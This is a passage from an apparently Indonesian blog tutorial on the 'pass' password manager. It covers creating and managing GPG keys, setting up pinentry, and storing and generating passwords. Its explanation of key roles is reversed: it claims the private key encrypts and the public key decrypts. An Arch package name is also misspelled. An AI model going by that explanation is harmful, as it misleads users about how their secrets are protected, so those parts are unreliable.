Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;pass&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pass&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Managing Passwords&lt;a href=&quot;#managing-passwords&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut adalah langkah-langkah mengelola &lt;em&gt;password&lt;/em&gt; menggunakan &lt;strong&gt;&lt;code&gt;pass&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;&lt;section&gt;&lt;h3&gt;1. Master Key&lt;a href=&quot;#1-master-key&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sebelum melakukan enkripsi, kita perlu membuat &lt;strong&gt;master key&lt;/strong&gt; terlebih dahulu. Master key ini terdiri dari 2 kunci, yaitu &lt;strong&gt;private key&lt;/strong&gt; dan &lt;strong&gt;public key&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Private key adalah kunci yang nanti akan digunakan untuk mengunci atau mengenkripsi file &lt;em&gt;password&lt;/em&gt;, sementara public key adalah kunci yang nanti akan digunakan untuk membuka atau mendekripsi file &lt;em&gt;password&lt;/em&gt;. Oleh karena itu, private key harus kita jaga dan tidak boleh diberikan kepada orang lain.&lt;/p&gt;&lt;section&gt;&lt;h4&gt;1.1 Creating Master Key&lt;a href=&quot;#11-creating-master-key&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Berikut adalah cara membuat master key dengan GPG:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;gpg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--full-generate-key&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Kemudian, pilih opsi &lt;strong&gt;(1) RSA and RSA&lt;/strong&gt; untuk algoritma yang digunakan (demi alasan keamanan).&lt;/li&gt;
&lt;li&gt;Selanjutnya, ketikkan &lt;strong&gt;4096&lt;/strong&gt; untuk &lt;em&gt;keysize&lt;/em&gt;-nya (lagi-lagi, demi alasan keamanan).&lt;/li&gt;
&lt;li&gt;Berikutnya, kita dapat memilih waktu &lt;em&gt;expire&lt;/em&gt; untuk master key ini. Tapi, jika kita ingin agar master key  tersebut tidak pernah &lt;em&gt;expire&lt;/em&gt;, pilih opsi pertama, &lt;strong&gt;0 = key does not expire&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Konfirmasi dengan tekan &lt;strong&gt;y&lt;/strong&gt; di &lt;em&gt;keyboard&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Akan muncul prompt &lt;strong&gt;Real name:&lt;/strong&gt;, isikan dengan nama yang diinginkan.&lt;/li&gt;
&lt;li&gt;Juga akan muncul prompt &lt;strong&gt;Email address:&lt;/strong&gt;, isikan dengan email yang diinginkan.&lt;/li&gt;
&lt;li&gt;Bagian &lt;strong&gt;comment&lt;/strong&gt; dapat dilewati (dibiarkan kosong).&lt;/li&gt;
&lt;li&gt;Terakhir, tekan &lt;strong&gt;O&lt;/strong&gt; di keyboard jika sudah selesai.&lt;/li&gt;
&lt;li&gt;Sebelum ditutup, kita akan diminta memasukkan &lt;strong&gt;passphrase&lt;/strong&gt; yang nanti akan sering digunakan untuk mengelola &lt;strong&gt;&lt;code&gt;pass&lt;/code&gt;&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Berikut adalah video tutorialnya:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Kita dapat membuat lebih dari satu master key.&lt;/p&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Mungkin, beberapa distro (seperti yang sama alami di &lt;strong&gt;NixOS&lt;/strong&gt;) tidak dapat menyelesaikan proses pembuatan master key karena &lt;em&gt;prompt&lt;/em&gt; “paraphrase” di akhir tidak muncul. Itu disebabkan belum terpasangnya satu &lt;em&gt;package&lt;/em&gt; terkait, yaitu &lt;strong&gt;&lt;code&gt;pinentry&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Berikut adalah cara &lt;em&gt;install&lt;/em&gt; dan konfigurasinya:&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install pinentry-curses&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy pinetry&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install pinentry&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install pinentry&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;pinentry-curses&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pinentry-curses&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk mengaktifkan &lt;strong&gt;&lt;code&gt;pinentry&lt;/code&gt;&lt;/strong&gt;, masukkan perintah berikut di&lt;br /&gt;
&lt;strong&gt;&lt;code&gt;~/.gnupg/gpg-agent.conf&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pinentry-program&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/usr/bin/pinentry-curses&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;1.2 Listing Master Key&lt;a href=&quot;#12-listing-master-key&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita juga dapat melihat daftar master key yang kita miliki dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;gpg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--list-keys&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;listing master keys&quot; loading=&quot;lazy&quot; width=&quot;532&quot; height=&quot;265&quot; src=&quot;/_astro/ss3.qXtVgVPB_1vbmVE.webp&quot; /&gt;&lt;figcaption&gt;listing master keys&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;1.3 Removing Master Key&lt;a href=&quot;#13-removing-master-key&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita juga dapat menghapus master key:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;gpg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--delete-secret-and-public-keys&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;name_or_email&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;removing master keys&quot; loading=&quot;lazy&quot; width=&quot;515&quot; height=&quot;391&quot; src=&quot;/_astro/ss4.Bc_nxBZh_1OodEX.webp&quot; /&gt;&lt;figcaption&gt;removing master keys&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Dengan perintah tersebut, kita menghapus &lt;em&gt;&lt;strong&gt;secret key&lt;/strong&gt;&lt;/em&gt; dan &lt;em&gt;&lt;strong&gt;public key&lt;/strong&gt;&lt;/em&gt; yang terasosiasi oleh username atau email tersebut.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;1.4 Editing Master Key&lt;a href=&quot;#14-editing-master-key&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Selain itu, kita juga dapat meng-&lt;em&gt;edit&lt;/em&gt; master key:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;gpg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--edit-key&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;name_or_email&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Dalam mode &lt;em&gt;edit&lt;/em&gt; ini, kita dapat melakukan banyak hal, seperti mengganti &lt;em&gt;expire&lt;/em&gt; key-nya dan mengganti &lt;em&gt;passphrase&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;editing master keys&quot; loading=&quot;lazy&quot; width=&quot;539&quot; height=&quot;391&quot; src=&quot;/_astro/ss5.DNTGGacq_e3Hha.webp&quot; /&gt;&lt;figcaption&gt;editing master keys&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. Passwords Store&lt;a href=&quot;#2-passwords-store&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sekarang, kita akan mulai menggunakan &lt;strong&gt;&lt;code&gt;pass&lt;/code&gt;&lt;/strong&gt; untuk mengelola &lt;em&gt;password&lt;/em&gt;.&lt;/p&gt;&lt;section&gt;&lt;h4&gt;2.1 Initializing &lt;code&gt;pass&lt;/code&gt;&lt;a href=&quot;#21-initializing-pass&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Mula-mula, sebelum membuat &lt;em&gt;password&lt;/em&gt; di &lt;strong&gt;&lt;code&gt;pass&lt;/code&gt;&lt;/strong&gt;, kita perlu menginisialisasikannya terlebih dahulu menggunakan master key yang sudah dibuat sebelumnya dengan perintah berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pass&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;init&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;key&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;initializing pass&quot; loading=&quot;lazy&quot; width=&quot;547&quot; height=&quot;341&quot; src=&quot;/_astro/ss6.D_tbRX4s_Z2n9gip.webp&quot; /&gt;&lt;figcaption&gt;initializing pass&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2.2 Creating Pass&lt;a href=&quot;#22-creating-pass&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Cara membuat &lt;em&gt;password&lt;/em&gt; baru:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pass&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;insert&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;filename&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Dengan perintah tersebut, kita berarti membuat &lt;em&gt;password&lt;/em&gt; yang akan disimpan dalam nama file yang langsung berada di bawah direktori &lt;code&gt;~/.password-store&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;Atau jika kita ingin menyimpan &lt;em&gt;password&lt;/em&gt; kita di dalam bentuk struktur sub-direktori juga bisa:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pass&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;insert&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;sub-dir&amp;gt;/&amp;lt;filename&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;creating new pass&quot; loading=&quot;lazy&quot; width=&quot;481&quot; height=&quot;521&quot; src=&quot;/_astro/ss7.KgHbGsec_Z21Ye7M.webp&quot; /&gt;&lt;figcaption&gt;creating new pass&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Perhatikan bahwa file “github” berada langsung di bawah direktori &lt;code&gt;~/.password-store&lt;/code&gt;, sementara, file “email” untuk wildan &amp;amp; alex berada di sub-direktori &lt;code&gt;~/.password-store/email&lt;/code&gt;. Jika kita pertama kali membuat sebuah sub-direktori, perintah di atas secara otomatis juga akan membuatkan sebuah folder baru.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2.3 Generating Pass&lt;a href=&quot;#23-generating-pass&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;pass&lt;/code&gt;&lt;/strong&gt; juga menyediakan fitur &lt;em&gt;generate password&lt;/em&gt;. Artinya, &lt;strong&gt;&lt;code&gt;pass&lt;/code&gt;&lt;/strong&gt; akan membuatkan password dengan kombinasi acak antara abjad, angka, dan simbol untuk kita.&lt;/p&gt;&lt;p&gt;Cara men-&lt;em&gt;generate&lt;/em&gt; &lt;em&gt;password&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pass&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;generate&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;filename&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# atau&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pass&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;generate&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;sub-dir&amp;gt;/&amp;lt;filename&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;generating new pass&quot; loading=&quot;lazy&quot; width=&quot;525&quot; height=&quot;266&quot; src=&quot;/_astro/ss8.BNFIX2aD_pSNcP.webp&quot; /&gt;&lt;figcaption&gt;generating new pass&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Perhatikan bahwa saya men-&lt;em&gt;generate&lt;/em&gt; 2 file &lt;em&gt;password&lt;/em&gt; baru, yaitu “snake” &amp;amp; “chess” yang sama-sama berada di sub-direktori  &lt;code&gt;~/.password-store/game/offline&lt;/code&gt;. Seperti terlihat juga pada gambar bahwa &lt;em&gt;password&lt;/em&gt; yang dibuat oleh &lt;strong&gt;&lt;code&gt;pass&lt;/code&gt;&lt;/strong&gt; untuk “snake” &amp;amp; “chess” adalah kombinasi abjad (kapital maupun huruf kecil), angka, dan simbol dengan panjang 25 karakter.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2.4 Listing Pass&lt;a href=&quot;#24-listing-pass&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Selain dengan melihat langsung ke direktori &lt;code&gt;~/.password-store&lt;/code&gt;, &lt;strong&gt;&lt;code&gt;pass&lt;/code&gt;&lt;/strong&gt; juga memungkinkan kita untuk melihat daftar file &lt;em&gt;password&lt;/em&gt; yang sudah kita buat dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pass&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ls&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# atau sesederhana&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pass&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;listing passwords&quot; loading=&quot;lazy&quot; width=&quot;436&quot; height=&quot;316&quot; src=&quot;/_astro/ss9.BIVWydzt_Z495V.webp&quot; /&gt;&lt;figcaption&gt;listing passwords&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2.5 Showing Pass&lt;a href=&quot;#25-showing-pass&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk melihat konten dari file &lt;em&gt;password&lt;/em&gt;, gunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pass&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;show&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;filename&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# atau&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pass&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;show&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;sub-dir&amp;gt;/&amp;lt;filename&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;showing password file content&quot; loading=&quot;lazy&quot; width=&quot;302&quot; height=&quot;202&quot; src=&quot;/_astro/ss10.EejIf3LI_2tBlvH.webp&quot; /&gt;&lt;figcaption&gt;showing password file content&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2.6 Editing Pass&lt;a href=&quot;#26-editing-pass&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita juga 